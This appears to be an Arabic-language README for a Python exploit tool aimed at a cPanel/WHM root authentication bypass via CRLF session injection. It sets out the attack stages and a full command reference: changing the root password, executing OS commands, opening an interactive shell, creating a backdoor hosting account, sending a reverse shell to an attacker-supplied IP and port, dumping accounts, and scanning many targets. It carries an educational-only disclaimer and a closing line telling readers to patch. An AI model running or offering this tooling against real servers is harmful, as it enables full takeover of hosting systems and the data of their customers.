
تجاوز المصادقة في cPanel/WHM (ثغرة يوم صفر)
إخلاء مسؤولية: هذه الوثيقة والنص البرمجي المرتبط بها (
exploit.py) مقدمان لأغراض تعليمية فقط، وللبحث الأمني، واختبار الاختراق المصرح به. لا تستخدم هذا البرنامج ضد أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها.
exploit.py هو نص برمجي يوضح ثغرة تجاوز المصادقة (CVE-2026-41940) في cPanel و WHM. تسمح الثغرة لمهاجم غير موثوق بحقن جلسة صلاحية الجذر (root) في ذاكرة التخزين المؤقت للخدمة عبر ثغرة حقن CRLF، مما يمنح في النهاية وصولاً على مستوى صلاحية الجذر إلى WHM دون الحاجة إلى بيانات اعتماد صالحة.
يعمل الاستغلال عن طريق استغلال ثغرة حقن CRLF (إرجاع العربة وتغذية السطر) في آلية التعامل مع المصادقة الأساسية (Basic Authentication)، بالإضافة إلى خلل في انتشار الجلسة. يقوم النص البرمجي بأتمتة الهجوم في أربع مراحل:
/login/ أو /cgi/login.cgi) للحصول على ملف تعريف ارتباط جلسة أساسي غير موثوق ().whostmgrsessioncpsrvd. يؤدي رد الخادم بإعادة التوجيه إلى تسريب رمز الأمان المولد (cpsess).do_token_denied لنشر الجلسة المزورة في ذاكرة التخزين المؤقت للخدمة — مما يجعلها جلسة موثوقة صالحة./json-api/version) باستخدام الجلسة المزورة لتأكيد الوصول على مستوى الجذر.requestspip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| الوسيط | الوصف |
|---|---|
--target URL | عنوان URL واحد لـ WHM (مثل https://target:2087) |
--target-file FILE | ملف يحتوي على أهداف (كل سطر ip:port) — يقوم تلقائياً بتمكين وضع الفحص |
| الوسيط | الوصف |
|---|---|
--threads N | عدد الخيوط المتزامنة لوضع الأهداف المتعددة (الافتراضي: 10) |
--hostname HOST | تجاوز عنوان Host — استخدمه عندما يفشل الاكتشاف التلقائي أو يعطي اسم مضيف خاطئ |
--timeout N | مهلة كل طلب بالثواني (الافتراضي: 15) |
--retries N | عدد مرات إعادة المحاولة عند أخطاء الشبكة (الافتراضي: 3) |
--cookie-name NAME | فرض اسم معين لملف تعريف ارتباط الجلسة (يُكتشف تلقائياً إذا تم حذفه) |
--no-verify | تخطي مرحلة التحقق 4 والمتابعة على أي حال |
| الوسيط | الوصف |
|---|---|
--check | وضع الفحص فقط — التحقق من وجود الثغرة دون استغلال (يتم تعيينه تلقائياً مع --target-file) |
--password PASS | تغيير كلمة مرور الجذر إلى PASS |
--api FUNC | استدعاء دالة معينة من واجهة برمجة تطبيقات WHM بصيغة JSON |
--api-params K=V,... | معاملات مفصولة بفواصل لـ --api |
--exec CMD | تنفيذ أمر نظام تشغيل عبر WHM scripts/run_script (البديل: rawexec) |
--session | إنشاء رابط تسجيل دخول بنقرة واحدة بصلاحية الجذر — افتحه فوراً، الرمز ينتهي بسرعة |
--shell | الدخول في شيل WHM تفاعلي (لأهداف مفردة فقط) |
--dump | تفريغ معلومات الخادم: الإصدار، الحسابات، مناطق DNS، الصلاحيات |
--add-user USER PASS DOMAIN | إنشاء حساب استضافة cPanel جديد |
--revshell LHOST LPORT | إرسال شيل عكسي باش (bash) إلى المستمع الخاص بك |
| الوسيط | الوصف |
|---|---|
--output FILE | حفظ رمز الجلسة والتفاصيل في ملف JSON |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
عند استخدام --shell، الأوامر التالية متاحة:
| الأمر | الوصف |
|---|---|
api <function> [k=v ...] | استدعاء دالة من واجهة برمجة تطبيقات WHM بصيغة JSON (مثل api version) |
exec <command> | تشغيل أمر نظام تشغيل عبر WHM (مثل exec id) |
passwd <newpass> | تغيير كلمة مرور الجذر |
dump | تفريغ معلومات الخادم |
revshell <lhost> <lport> | إرسال شيل عكسي |
add <user> <pass> <domain> | إنشاء حساب cPanel |
save <path> | حفظ الجلسة الحالية في ملف |
exit / quit | الخروج من الشيل |
قم بتحديث تصحيحات الأمان الخاصة بـ cPanel/WHM إلى أحدث إصدار فوراً.